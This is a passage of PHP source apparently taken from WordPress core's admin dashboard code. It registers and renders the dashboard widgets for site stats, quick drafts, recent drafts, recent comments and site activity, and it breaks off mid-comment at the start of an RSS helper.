	if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) {
		wp_add_dashboard_widget( 'dashboard_right_now', __( 'At a Glance' ), 'wp_dashboard_right_now' );
	}

if ( is_network_admin() ) {
		wp_add_dashboard_widget( 'network_dashboard_right_now', __( 'Right Now' ), 'wp_network_dashboard_right_now' );
	}

// Activity Widget.
	if ( is_blog_admin() ) {
		wp_add_dashboard_widget( 'dashboard_activity', __( 'Activity' ), 'wp_dashboard_site_activity' );
	}

// QuickPress Widget.
	if ( is_blog_admin() && current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) {
		$quick_draft_title = sprintf( '<span class="hide-if-no-js">%1$s</span> <span class="hide-if-js">%2$s</span>', __( 'Quick Draft' ), __( 'Your Recent Drafts' ) );
		wp_add_dashboard_widget( 'dashboard_quick_press', $quick_draft_title, 'wp_dashboard_quick_press' );
	}

// WordPress Events and News.
	wp_add_dashboard_widget( 'dashboard_primary', __( 'WordPress Events and News' ), 'wp_dashboard_events_news' );

if ( is_network_admin() ) {

/**
		 * Fires after core widgets for the Network Admin dashboard have been registered.
		 *
		 * @since 3.1.0
		 */
		do_action( 'wp_network_dashboard_setup' );

/**
		 * Filters the list of widgets to load for the Network Admin dashboard.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $dashboard_widgets An array of dashboard widget IDs.
		 */
		$dashboard_widgets = apply_filters( 'wp_network_dashboard_widgets', array() );
	} elseif ( is_user_admin() ) {

/**
		 * Fires after core widgets for the User Admin dashboard have been registered.
		 *
		 * @since 3.1.0
		 */
		do_action( 'wp_user_dashboard_setup' );

/**
		 * Filters the list of widgets to load for the User Admin dashboard.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $dashboard_widgets An array of dashboard widget IDs.
		 */
		$dashboard_widgets = apply_filters( 'wp_user_dashboard_widgets', array() );
	} else {

/**
		 * Fires after core widgets for the admin dashboard have been registered.
		 *
		 * @since 2.5.0
		 */
		do_action( 'wp_dashboard_setup' );

/**
		 * Filters the list of widgets to load for the admin dashboard.
		 *
		 * @since 2.5.0
		 *
		 * @param string[] $dashboard_widgets An array of dashboard widget IDs.
		 */
		$dashboard_widgets = apply_filters( 'wp_dashboard_widgets', array() );
	}

foreach ( $dashboard_widgets as $widget_id ) {
		$name = empty( $wp_registered_widgets[ $widget_id ]['all_link'] ) ? $wp_registered_widgets[ $widget_id ]['name'] : $wp_registered_widgets[ $widget_id ]['name'] . " <a href='{$wp_registered_widgets[$widget_id]['all_link']}' class='edit-box open-box'>" . __( 'View all' ) . '</a>';
		wp_add_dashboard_widget( $widget_id, $name, $wp_registered_widgets[ $widget_id ]['callback'], $wp_registered_widget_controls[ $widget_id ]['callback'] );
	}

if ( 'POST' === $_SERVER['REQUEST_METHOD'] && isset( $_POST['widget_id'] ) ) {
		check_admin_referer( 'edit-dashboard-widget_' . $_POST['widget_id'], 'dashboard-widget-nonce' );
		ob_start(); // Hack - but the same hack wp-admin/widgets.php uses.
		wp_dashboard_trigger_widget_control( $_POST['widget_id'] );
		ob_end_clean();
		wp_redirect( remove_query_arg( 'edit' ) );
		exit;
	}

/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( 'do_meta_boxes', $screen->id, 'normal', '' );

/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( 'do_meta_boxes', $screen->id, 'side', '' );
}

/**
 * Adds a new dashboard widget.
 *
 * @since 2.7.0
 *
 * @global array $wp_dashboard_control_callbacks
 *
 * @param string   $widget_id        Widget ID  (used in the 'id' attribute for the widget).
 * @param string   $widget_name      Title of the widget.
 * @param callable $callback         Function that fills the widget with the desired content.
 *                                   The function should echo its output.
 * @param callable $control_callback Optional. Function that outputs controls for the widget. Default null.
 * @param array    $callback_args    Optional. Data that should be set as the $args property of the widget array
 *                                   (which is the second parameter passed to your callback). Default null.
 */
function wp_add_dashboard_widget( $widget_id, $widget_name, $callback, $control_callback = null, $callback_args = null ) {
	$screen = get_current_screen();
	global $wp_dashboard_control_callbacks;

$private_callback_args = array( '__widget_basename' => $widget_name );

if ( is_null( $callback_args ) ) {
		$callback_args = $private_callback_args;
	} elseif ( is_array( $callback_args ) ) {
		$callback_args = array_merge( $callback_args, $private_callback_args );
	}

if ( $control_callback && current_user_can( 'edit_dashboard' ) && is_callable( $control_callback ) ) {
		$wp_dashboard_control_callbacks[ $widget_id ] = $control_callback;
		if ( isset( $_GET['edit'] ) && $widget_id == $_GET['edit'] ) {
			list($url)    = explode( '#', add_query_arg( 'edit', false ), 2 );
			$widget_name .= ' <span class="postbox-title-action"><a href="' . esc_url( $url ) . '">' . __( 'Cancel' ) . '</a></span>';
			$callback     = '_wp_dashboard_control_callback';
		} else {
			list($url)    = explode( '#', add_query_arg( 'edit', $widget_id ), 2 );
			$widget_name .= ' <span class="postbox-title-action"><a href="' . esc_url( "$url#$widget_id" ) . '" class="edit-box open-box">' . __( 'Configure' ) . '</a></span>';
		}
	}

$side_widgets = array( 'dashboard_quick_press', 'dashboard_primary' );

$location = 'normal';
	if ( in_array( $widget_id, $side_widgets, true ) ) {
		$location = 'side';
	}

$high_priority_widgets = array( 'dashboard_browser_nag', 'dashboard_php_nag' );

$priority = 'core';
	if ( in_array( $widget_id, $high_priority_widgets, true ) ) {
		$priority = 'high';
	}

add_meta_box( $widget_id, $widget_name, $callback, $screen, $location, $priority, $callback_args );
}

/**
 * Outputs controls for the current dashboard widget.
 *
 * @access private
 * @since 2.7.0
 *
 * @param mixed $dashboard
 * @param array $meta_box
 */
function _wp_dashboard_control_callback( $dashboard, $meta_box ) {
	echo '<form method="post" class="dashboard-widget-control-form wp-clearfix">';
	wp_dashboard_trigger_widget_control( $meta_box['id'] );
	wp_nonce_field( 'edit-dashboard-widget_' . $meta_box['id'], 'dashboard-widget-nonce' );
	echo '<input type="hidden" name="widget_id" value="' . esc_attr( $meta_box['id'] ) . '" />';
	submit_button( __( 'Submit' ) );
	echo '</form>';
}

/**
 * Displays the dashboard.
 *
 * @since 2.5.0
 */
function wp_dashboard() {
	$screen      = get_current_screen();
	$columns     = absint( $screen->get_columns() );
	$columns_css = '';
	if ( $columns ) {
		$columns_css = " columns-$columns";
	}

?>
<div id="dashboard-widgets" class="metabox-holder<?php echo $columns_css; ?>">
	<div id="postbox-container-1" class="postbox-container">
	<?php do_meta_boxes( $screen->id, 'normal', '' ); ?>
	</div>
	<div id="postbox-container-2" class="postbox-container">
	<?php do_meta_boxes( $screen->id, 'side', '' ); ?>
	</div>
	<div id="postbox-container-3" class="postbox-container">
	<?php do_meta_boxes( $screen->id, 'column3', '' ); ?>
	</div>
	<div id="postbox-container-4" class="postbox-container">
	<?php do_meta_boxes( $screen->id, 'column4', '' ); ?>
	</div>
</div>

<?php
	wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
	wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );

}

//
// Dashboard Widgets.
//

/**
 * Dashboard widget that displays some basic stats about the site.
 *
 * Formerly 'Right Now'. A streamlined 'At a Glance' as of 3.8.
 *
 * @since 2.7.0
 */
function wp_dashboard_right_now() {
	?>
	<div class="main">
	<ul>
	<?php
	// Posts and Pages.
	foreach ( array( 'post', 'page' ) as $post_type ) {
		$num_posts = wp_count_posts( $post_type );
		if ( $num_posts && $num_posts->publish ) {
			if ( 'post' === $post_type ) {
				/* translators: %s: Number of posts. */
				$text = _n( '%s Post', '%s Posts', $num_posts->publish );
			} else {
				/* translators: %s: Number of pages. */
				$text = _n( '%s Page', '%s Pages', $num_posts->publish );
			}
			$text             = sprintf( $text, number_format_i18n( $num_posts->publish ) );
			$post_type_object = get_post_type_object( $post_type );
			if ( $post_type_object && current_user_can( $post_type_object->cap->edit_posts ) ) {
				printf( '<li class="%1$s-count"><a href="edit.php?post_type=%1$s">%2$s</a></li>', $post_type, $text );
			} else {
				printf( '<li class="%1$s-count"><span>%2$s</span></li>', $post_type, $text );
			}
		}
	}
	// Comments.
	$num_comm = wp_count_comments();
	if ( $num_comm && ( $num_comm->approved || $num_comm->moderated ) ) {
		/* translators: %s: Number of comments. */
		$text = sprintf( _n( '%s Comment', '%s Comments', $num_comm->approved ), number_format_i18n( $num_comm->approved ) );
		?>
		<li class="comment-count"><a href="edit-comments.php"><?php echo $text; ?></a></li>
		<?php
		$moderated_comments_count_i18n = number_format_i18n( $num_comm->moderated );
		/* translators: %s: Number of comments. */
		$text = sprintf( _n( '%s Comment in moderation', '%s Comments in moderation', $num_comm->moderated ), $moderated_comments_count_i18n );
		?>
		<li class="comment-mod-count
		<?php
		if ( ! $num_comm->moderated ) {
			echo ' hidden';
		}
		?>
		"><a href="edit-comments.php?comment_status=moderated" class="comments-in-moderation-text"><?php echo $text; ?></a></li>
		<?php
	}

/**
	 * Filters the array of extra elements to list in the 'At a Glance'
	 * dashboard widget.
	 *
	 * Prior to 3.8.0, the widget was named 'Right Now'. Each element
	 * is wrapped in list-item tags on output.
	 *
	 * @since 3.8.0
	 *
	 * @param string[] $items Array of extra 'At a Glance' widget items.
	 */
	$elements = apply_filters( 'dashboard_glance_items', array() );

if ( $elements ) {
		echo '<li>' . implode( "</li>\n<li>", $elements ) . "</li>\n";
	}

?>
	</ul>
	<?php
	update_right_now_message();

// Check if search engines are asked not to index this site.
	if ( ! is_network_admin() && ! is_user_admin() && current_user_can( 'manage_options' ) && '0' == get_option( 'blog_public' ) ) {

/**
		 * Filters the link title attribute for the 'Search engines discouraged'
		 * message displayed in the 'At a Glance' dashboard widget.
		 *
		 * Prior to 3.8.0, the widget was named 'Right Now'.
		 *
		 * @since 3.0.0
		 * @since 4.5.0 The default for `$title` was updated to an empty string.
		 *
		 * @param string $title Default attribute text.
		 */
		$title = apply_filters( 'privacy_on_link_title', '' );

/**
		 * Filters the link label for the 'Search engines discouraged' message
		 * displayed in the 'At a Glance' dashboard widget.
		 *
		 * Prior to 3.8.0, the widget was named 'Right Now'.
		 *
		 * @since 3.0.0
		 *
		 * @param string $content Default text.
		 */
		$content    = apply_filters( 'privacy_on_link_text', __( 'Search engines discouraged' ) );
		$title_attr = '' === $title ? '' : " title='$title'";

echo "<p class='search-engines-info'><a href='options-reading.php'$title_attr>$content</a></p>";
	}
	?>
	</div>
	<?php
	/*
	 * activity_box_end has a core action, but only prints content when multisite.
	 * Using an output buffer is the only way to really check if anything's displayed here.
	 */
	ob_start();

/**
	 * Fires at the end of the 'At a Glance' dashboard widget.
	 *
	 * Prior to 3.8.0, the widget was named 'Right Now'.
	 *
	 * @since 2.5.0
	 */
	do_action( 'rightnow_end' );

/**
	 * Fires at the end of the 'At a Glance' dashboard widget.
	 *
	 * Prior to 3.8.0, the widget was named 'Right Now'.
	 *
	 * @since 2.0.0
	 */
	do_action( 'activity_box_end' );

$actions = ob_get_clean();

if ( ! empty( $actions ) ) :
		?>
	<div class="sub">
		<?php echo $actions; ?>
	</div>
		<?php
	endif;
}

/**
 * @since 3.1.0
 */
function wp_network_dashboard_right_now() {
	$actions = array();
	if ( current_user_can( 'create_sites' ) ) {
		$actions['create-site'] = '<a href="' . network_admin_url( 'site-new.php' ) . '">' . __( 'Create a New Site' ) . '</a>';
	}
	if ( current_user_can( 'create_users' ) ) {
		$actions['create-user'] = '<a href="' . network_admin_url( 'user-new.php' ) . '">' . __( 'Create a New User' ) . '</a>';
	}

$c_users = get_user_count();
	$c_blogs = get_blog_count();

/* translators: %s: Number of users on the network. */
	$user_text = sprintf( _n( '%s user', '%s users', $c_users ), number_format_i18n( $c_users ) );
	/* translators: %s: Number of sites on the network. */
	$blog_text = sprintf( _n( '%s site', '%s sites', $c_blogs ), number_format_i18n( $c_blogs ) );

/* translators: 1: Text indicating the number of sites on the network, 2: Text indicating the number of users on the network. */
	$sentence = sprintf( __( 'You have %1$s and %2$s.' ), $blog_text, $user_text );

if ( $actions ) {
		echo '<ul class="subsubsub">';
		foreach ( $actions as $class => $action ) {
			$actions[ $class ] = "\t<li class='$class'>$action";
		}
		echo implode( " |</li>\n", $actions ) . "</li>\n";
		echo '</ul>';
	}
	?>
	<br class="clear" />

<?php
		/**
		 * Fires in the Network Admin 'Right Now' dashboard widget
		 * just before the user and site search form fields.
		 *
		 * @since MU (3.0.0)
		 */
		do_action( 'wpmuadminresult' );
	?>

<form action="<?php echo network_admin_url( 'users.php' ); ?>" method="get">
		<p>
			<label class="screen-reader-text" for="search-users"><?php _e( 'Search Users' ); ?></label>
			<input type="search" name="s" value="" size="30" autocomplete="off" id="search-users"/>
			<?php submit_button( __( 'Search Users' ), '', false, false, array( 'id' => 'submit_users' ) ); ?>
		</p>
	</form>

<form action="<?php echo network_admin_url( 'sites.php' ); ?>" method="get">
		<p>
			<label class="screen-reader-text" for="search-sites"><?php _e( 'Search Sites' ); ?></label>
			<input type="search" name="s" value="" size="30" autocomplete="off" id="search-sites"/>
			<?php submit_button( __( 'Search Sites' ), '', false, false, array( 'id' => 'submit_sites' ) ); ?>
		</p>
	</form>
	<?php
	/**
	 * Fires at the end of the 'Right Now' widget in the Network Admin dashboard.
	 *
	 * @since MU (3.0.0)
	 */
	do_action( 'mu_rightnow_end' );

/**
	 * Fires at the end of the 'Right Now' widget in the Network Admin dashboard.
	 *
	 * @since MU (3.0.0)
	 */
	do_action( 'mu_activity_box_end' );
}

/**
 * The Quick Draft widget display and creation of drafts.
 *
 * @since 3.8.0
 *
 * @global int $post_ID
 *
 * @param string $error_msg Optional. Error message. Default false.
 */
function wp_dashboard_quick_press( $error_msg = false ) {
	global $post_ID;

if ( ! current_user_can( 'edit_posts' ) ) {
		return;
	}

/* Check if a new auto-draft (= no new post_ID) is needed or if the old can be used */
	$last_post_id = (int) get_user_option( 'dashboard_quick_press_last_post_id' ); // Get the last post_ID.
	if ( $last_post_id ) {
		$post = get_post( $last_post_id );
		if ( empty( $post ) || 'auto-draft' !== $post->post_status ) { // auto-draft doesn't exist anymore.
			$post = get_default_post_to_edit( 'post', true );
			update_user_option( get_current_user_id(), 'dashboard_quick_press_last_post_id', (int) $post->ID ); // Save post_ID.
		} else {
			$post->post_title = ''; // Remove the auto draft title.
		}
	} else {
		$post    = get_default_post_to_edit( 'post', true );
		$user_id = get_current_user_id();
		// Don't create an option if this is a super admin who does not belong to this site.
		if ( in_array( get_current_blog_id(), array_keys( get_blogs_of_user( $user_id ) ), true ) ) {
			update_user_option( $user_id, 'dashboard_quick_press_last_post_id', (int) $post->ID ); // Save post_ID.
		}
	}

$post_ID = (int) $post->ID;
	?>

<form name="post" action="<?php echo esc_url( admin_url( 'post.php' ) ); ?>" method="post" id="quick-press" class="initial-form hide-if-no-js">

<?php if ( $error_msg ) : ?>
		<div class="error"><?php echo $error_msg; ?></div>
		<?php endif; ?>

<div class="textarea-wrap" id="description-wrap">
			<label for="content"><?php _e( 'Content' ); ?></label>
			<textarea name="content" id="content" placeholder="<?php esc_attr_e( 'What&#8217;s on your mind?' ); ?>" class="mceEditor" rows="3" cols="15" autocomplete="off"></textarea>
		</div>

</form>
	<?php
	wp_dashboard_recent_drafts();
}

/**
 * Show recent drafts of the user on the dashboard.
 *
 * @since 2.7.0
 *
 * @param WP_Post[] $drafts Optional. Array of posts to display. Default false.
 */
function wp_dashboard_recent_drafts( $drafts = false ) {
	if ( ! $drafts ) {
		$query_args = array(
			'post_type'      => 'post',
			'post_status'    => 'draft',
			'author'         => get_current_user_id(),
			'posts_per_page' => 4,
			'orderby'        => 'modified',
			'order'          => 'DESC',
		);

/**
		 * Filters the post query arguments for the 'Recent Drafts' dashboard widget.
		 *
		 * @since 4.4.0
		 *
		 * @param array $query_args The query arguments for the 'Recent Drafts' dashboard widget.
		 */
		$query_args = apply_filters( 'dashboard_recent_drafts_query_args', $query_args );

$drafts = get_posts( $query_args );
		if ( ! $drafts ) {
			return;
		}
	}

echo '<div class="drafts">';
	if ( count( $drafts ) > 3 ) {
		printf(
			'<p class="view-all"><a href="%s">%s</a></p>' . "\n",
			esc_url( admin_url( 'edit.php?post_status=draft' ) ),
			__( 'View all drafts' )
		);
	}
	echo '<h2 class="hide-if-no-js">' . __( 'Your Recent Drafts' ) . "</h2>\n<ul>";

/* translators: Maximum number of words used in a preview of a draft on the dashboard. */
	$draft_length = intval( _x( '10', 'draft_length' ) );

$drafts = array_slice( $drafts, 0, 3 );
	foreach ( $drafts as $draft ) {
		$url   = get_edit_post_link( $draft->ID );
		$title = _draft_or_post_title( $draft->ID );
		echo "<li>\n";
		printf(
			'<div class="draft-title"><a href="%s" aria-label="%s">%s</a><time datetime="%s">%s</time></div>',
			esc_url( $url ),
			/* translators: %s: Post title. */
			esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $title ) ),
			esc_html( $title ),
			get_the_time( 'c', $draft ),
			get_the_time( __( 'F j, Y' ), $draft )
		);
		$the_content = wp_trim_words( $draft->post_content, $draft_length );
		if ( $the_content ) {
			echo '<p>' . $the_content . '</p>';
		}
		echo "</li>\n";
	}
	echo "</ul>\n</div>";
}

/**
 * Outputs a row for the Recent Comments widget.
 *
 * @access private
 * @since 2.7.0
 *
 * @global WP_Comment $comment Global comment object.
 *
 * @param WP_Comment $comment   The current comment.
 * @param bool       $show_date Optional. Whether to display the date.
 */
function _wp_dashboard_recent_comments_row( &$comment, $show_date = true ) {
	$GLOBALS['comment'] = clone $comment;

if ( $comment->comment_post_ID > 0 ) {

$comment_post_title = _draft_or_post_title( $comment->comment_post_ID );
		$comment_post_url   = get_the_permalink( $comment->comment_post_ID );
		$comment_post_link  = "<a href='$comment_post_url'>$comment_post_title</a>";
	} else {
		$comment_post_link = '';
	}

$actions_string = '';
	if ( current_user_can( 'edit_comment', $comment->comment_ID ) ) {
		// Pre-order it: Approve | Reply | Edit | Spam | Trash.
		$actions = array(
			'approve'   => '',
			'unapprove' => '',
			'reply'     => '',
			'edit'      => '',
			'spam'      => '',
			'trash'     => '',
			'delete'    => '',
			'view'      => '',
		);

$del_nonce     = esc_html( '_wpnonce=' . wp_create_nonce( "delete-comment_$comment->comment_ID" ) );
		$approve_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "approve-comment_$comment->comment_ID" ) );

$approve_url   = esc_url( "comment.php?action=approvecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" );
		$unapprove_url = esc_url( "comment.php?action=unapprovecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" );
		$spam_url      = esc_url( "comment.php?action=spamcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );
		$trash_url     = esc_url( "comment.php?action=trashcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );
		$delete_url    = esc_url( "comment.php?action=deletecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );

$actions['approve'] = sprintf(
			'<a href="%s" data-wp-lists="%s" class="vim-a aria-button-if-js" aria-label="%s">%s</a>',
			$approve_url,
			"dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=approved",
			esc_attr__( 'Approve this comment' ),
			__( 'Approve' )
		);

$actions['unapprove'] = sprintf(
			'<a href="%s" data-wp-lists="%s" class="vim-u aria-button-if-js" aria-label="%s">%s</a>',
			$unapprove_url,
			"dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=unapproved",
			esc_attr__( 'Unapprove this comment' ),
			__( 'Unapprove' )
		);

$actions['edit'] = sprintf(
			'<a href="%s" aria-label="%s">%s</a>',
			"comment.php?action=editcomment&amp;c={$comment->comment_ID}",
			esc_attr__( 'Edit this comment' ),
			__( 'Edit' )
		);

$actions['reply'] = sprintf(
			'<button type="button" onclick="window.commentReply && commentReply.open(\'%s\',\'%s\');" class="vim-r button-link hide-if-no-js" aria-label="%s">%s</button>',
			$comment->comment_ID,
			$comment->comment_post_ID,
			esc_attr__( 'Reply to this comment' ),
			__( 'Reply' )
		);

$actions['spam'] = sprintf(
			'<a href="%s" data-wp-lists="%s" class="vim-s vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
			$spam_url,
			"delete:the-comment-list:comment-{$comment->comment_ID}::spam=1",
			esc_attr__( 'Mark this comment as spam' ),
			/* translators: "Mark as spam" link. */
			_x( 'Spam', 'verb' )
		);

if ( ! EMPTY_TRASH_DAYS ) {
			$actions['delete'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="delete vim-d vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$delete_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}::trash=1",
				esc_attr__( 'Delete this comment permanently' ),
				__( 'Delete Permanently' )
			);
		} else {
			$actions['trash'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="delete vim-d vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$trash_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}::trash=1",
				esc_attr__( 'Move this comment to the Trash' ),
				_x( 'Trash', 'verb' )
			);
		}

$actions['view'] = sprintf(
			'<a class="comment-link" href="%s" aria-label="%s">%s</a>',
			esc_url( get_comment_link( $comment ) ),
			esc_attr__( 'View this comment' ),
			__( 'View' )
		);

/**
		 * Filters the action links displayed for each comment in the 'Recent Comments'
		 * dashboard widget.
		 *
		 * @since 2.6.0
		 *
		 * @param string[]   $actions An array of comment actions. Default actions include:
		 *                            'Approve', 'Unapprove', 'Edit', 'Reply', 'Spam',
		 *                            'Delete', and 'Trash'.
		 * @param WP_Comment $comment The comment object.
		 */
		$actions = apply_filters( 'comment_row_actions', array_filter( $actions ), $comment );

$i = 0;

foreach ( $actions as $action => $link ) {
			++$i;

if ( ( ( 'approve' === $action || 'unapprove' === $action ) && 2 === $i )
				|| 1 === $i
			) {
				$sep = '';
			} else {
				$sep = ' | ';
			}

// Reply and quickedit need a hide-if-no-js span.
			if ( 'reply' === $action || 'quickedit' === $action ) {
				$action .= ' hide-if-no-js';
			}

if ( 'view' === $action && '1' !== $comment->comment_approved ) {
				$action .= ' hidden';
			}

$actions_string .= "<span class='$action'>$sep$link</span>";
		}
	}
	?>

<li id="comment-<?php echo $comment->comment_ID; ?>" <?php comment_class( array( 'comment-item', wp_get_comment_status( $comment ) ), $comment ); ?>>

<?php
			$comment_row_class = '';

if ( get_option( 'show_avatars' ) ) {
				echo get_avatar( $comment, 50, 'mystery' );
				$comment_row_class .= ' has-avatar';
			}
			?>

<?php if ( ! $comment->comment_type || 'comment' === $comment->comment_type ) : ?>

<div class="dashboard-comment-wrap has-row-actions <?php echo $comment_row_class; ?>">
			<p class="comment-meta">
				<?php
				// Comments might not have a post they relate to, e.g. programmatically created ones.
				if ( $comment_post_link ) {
					printf(
						/* translators: 1: Comment author, 2: Post link, 3: Notification if the comment is pending. */
						__( 'From %1$s on %2$s %3$s' ),
						'<cite class="comment-author">' . get_comment_author_link( $comment ) . '</cite>',
						$comment_post_link,
						'<span class="approve">' . __( '[Pending]' ) . '</span>'
					);
				} else {
					printf(
						/* translators: 1: Comment author, 2: Notification if the comment is pending. */
						__( 'From %1$s %2$s' ),
						'<cite class="comment-author">' . get_comment_author_link( $comment ) . '</cite>',
						'<span class="approve">' . __( '[Pending]' ) . '</span>'
					);
				}
				?>
			</p>

<?php
			else :
				switch ( $comment->comment_type ) {
					case 'pingback':
						$type = __( 'Pingback' );
						break;
					case 'trackback':
						$type = __( 'Trackback' );
						break;
					default:
						$type = ucwords( $comment->comment_type );
				}
				$type = esc_html( $type );
				?>
			<div class="dashboard-comment-wrap has-row-actions">
			<p class="comment-meta">
				<?php
				// Pingbacks, Trackbacks or custom comment types might not have a post they relate to, e.g. programmatically created ones.
				if ( $comment_post_link ) {
					printf(
						/* translators: 1: Type of comment, 2: Post link, 3: Notification if the comment is pending. */
						_x( '%1$s on %2$s %3$s', 'dashboard' ),
						"<strong>$type</strong>",
						$comment_post_link,
						'<span class="approve">' . __( '[Pending]' ) . '</span>'
					);
				} else {
					printf(
						/* translators: 1: Type of comment, 2: Notification if the comment is pending. */
						_x( '%1$s %2$s', 'dashboard' ),
						"<strong>$type</strong>",
						'<span class="approve">' . __( '[Pending]' ) . '</span>'
					);
				}
				?>
			</p>
			<p class="comment-author"><?php comment_author_link( $comment ); ?></p>

<?php endif; // comment_type ?>
			<blockquote><p><?php comment_excerpt( $comment ); ?></p></blockquote>
			<?php if ( $actions_string ) : ?>
			<p class="row-actions"><?php echo $actions_string; ?></p>
			<?php endif; ?>
			</div>
		</li>
	<?php
	$GLOBALS['comment'] = null;
}

/**
 * Callback function for Activity widget.
 *
 * @since 3.8.0
 */
function wp_dashboard_site_activity() {

echo '<div id="activity-widget">';

$future_posts = wp_dashboard_recent_posts(
		array(
			'max'    => 5,
			'status' => 'future',
			'order'  => 'ASC',
			'title'  => __( 'Publishing Soon' ),
			'id'     => 'future-posts',
		)
	);
	$recent_posts = wp_dashboard_recent_posts(
		array(
			'max'    => 5,
			'status' => 'publish',
			'order'  => 'DESC',
			'title'  => __( 'Recently Published' ),
			'id'     => 'published-posts',
		)
	);

$recent_comments = wp_dashboard_recent_comments();

if ( ! $future_posts && ! $recent_posts && ! $recent_comments ) {
		echo '<div class="no-activity">';
		echo '<p>' . __( 'No activity yet!' ) . '</p>';
		echo '</div>';
	}

echo '</div>';
}

/**
 * Generates Publishing Soon and Recently Published sections.
 *
 * @since 3.8.0
 *
 * @param array $args {
 *     An array of query and display arguments.
 *
 *     @type int    $max     Number of posts to display.
 *     @type string $status  Post status.
 *     @type string $order   Designates ascending ('ASC') or descending ('DESC') order.
 *     @type string $title   Section title.
 *     @type string $id      The container id.
 * }
 * @return bool False if no posts were found. True otherwise.
 */
function wp_dashboard_recent_posts( $args ) {
	$query_args = array(
		'post_type'      => 'post',
		'post_status'    => $args['status'],
		'orderby'        => 'date',
		'order'          => $args['order'],
		'posts_per_page' => intval( $args['max'] ),
		'no_found_rows'  => true,
		'cache_results'  => false,
		'perm'           => ( 'future' === $args['status'] ) ? 'editable' : 'readable',
	);

/**
	 * Filters the query arguments used for the Recent Posts widget.
	 *
	 * @since 4.2.0
	 *
	 * @param array $query_args The arguments passed to WP_Query to produce the list of posts.
	 */
	$query_args = apply_filters( 'dashboard_recent_posts_query_args', $query_args );
	$posts      = new WP_Query( $query_args );

if ( $posts->have_posts() ) {

echo '<div id="' . $args['id'] . '" class="activity-block">';

echo '<h3>' . $args['title'] . '</h3>';

echo '<ul>';

$today    = current_time( 'Y-m-d' );
		$tomorrow = current_datetime()->modify( '+1 day' )->format( 'Y-m-d' );
		$year     = current_time( 'Y' );

while ( $posts->have_posts() ) {
			$posts->the_post();

$time = get_the_time( 'U' );
			if ( gmdate( 'Y-m-d', $time ) == $today ) {
				$relative = __( 'Today' );
			} elseif ( gmdate( 'Y-m-d', $time ) == $tomorrow ) {
				$relative = __( 'Tomorrow' );
			} elseif ( gmdate( 'Y', $time ) !== $year ) {
				/* translators: Date and time format for recent posts on the dashboard, from a different calendar year, see https://www.php.net/date */
				$relative = date_i18n( __( 'M jS Y' ), $time );
			} else {
				/* translators: Date and time format for recent posts on the dashboard, see https://www.php.net/date */
				$relative = date_i18n( __( 'M jS' ), $time );
			}

// Use the post edit link for those who can edit, the permalink otherwise.
			$recent_post_link = current_user_can( 'edit_post', get_the_ID() ) ? get_edit_post_link() : get_permalink();

$draft_or_post_title = _draft_or_post_title();
			printf(
				'<li><span>%1$s</span> <a href="%2$s" aria-label="%3$s">%4$s</a></li>',
				/* translators: 1: Relative date, 2: Time. */
				sprintf( _x( '%1$s, %2$s', 'dashboard' ), $relative, get_the_time() ),
				$recent_post_link,
				/* translators: %s: Post title. */
				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $draft_or_post_title ) ),
				$draft_or_post_title
			);
		}

echo '</ul>';
		echo '</div>';

} else {
		return false;
	}

wp_reset_postdata();

return true;
}

/**
 * Show Comments section.
 *
 * @since 3.8.0
 *
 * @param int $total_items Optional. Number of comments to query. Default 5.
 * @return bool False if no comments were found. True otherwise.
 */
function wp_dashboard_recent_comments( $total_items = 5 ) {
	// Select all comment types and filter out spam later for better query performance.
	$comments = array();

$comments_query = array(
		'number' => $total_items * 5,
		'offset' => 0,
	);
	if ( ! current_user_can( 'edit_posts' ) ) {
		$comments_query['status'] = 'approve';
	}

while ( count( $comments ) < $total_items && $possible = get_comments( $comments_query ) ) {
		if ( ! is_array( $possible ) ) {
			break;
		}
		foreach ( $possible as $comment ) {
			if ( ! current_user_can( 'read_post', $comment->comment_post_ID ) ) {
				continue;
			}
			$comments[] = $comment;
			if ( count( $comments ) == $total_items ) {
				break 2;
			}
		}
		$comments_query['offset'] += $comments_query['number'];
		$comments_query['number']  = $total_items * 10;
	}

if ( $comments ) {
		echo '<div id="latest-comments" class="activity-block">';
		echo '<h3>' . __( 'Recent Comments' ) . '</h3>';

echo '<ul id="the-comment-list" data-wp-lists="list:comment">';
		foreach ( $comments as $comment ) {
			_wp_dashboard_recent_comments_row( $comment );
		}
		echo '</ul>';

if ( current_user_can( 'edit_posts' ) ) {
			echo '<h3 class="screen-reader-text">' . __( 'View more comments' ) . '</h3>';
			_get_list_table( 'WP_Comments_List_Table' )->views();
		}

wp_comment_reply( -1, false, 'dashboard', false );
		wp_comment_trashnotice();

echo '</div>';
	} else {
		return false;
	}
	return true;
}

/**
 * Display generic dashboard RSS widget feed.
 *
 * @since 2.5.0
 *
 * @param string $widget_id
 */
function wp_dashboard_rss_output( $widget_id ) {
	$widgets = get_option( 'dashboard_widget_options' );
	echo '<div class="rss-widget">';
	wp_widget_rss_output( $widgets[ $widget_id ] );
	echo '</div>';
}

/**
 * Checks to see if all of the feed url in $check_urls are cached.
 *
 * If $check_urls is empty, look for the rss feed url found in the dashboard
 * widget options of $widget_id. If cached, call $callback, a function that
 * echoes out output for this widget. If not cache, echo a "Loading..." stub
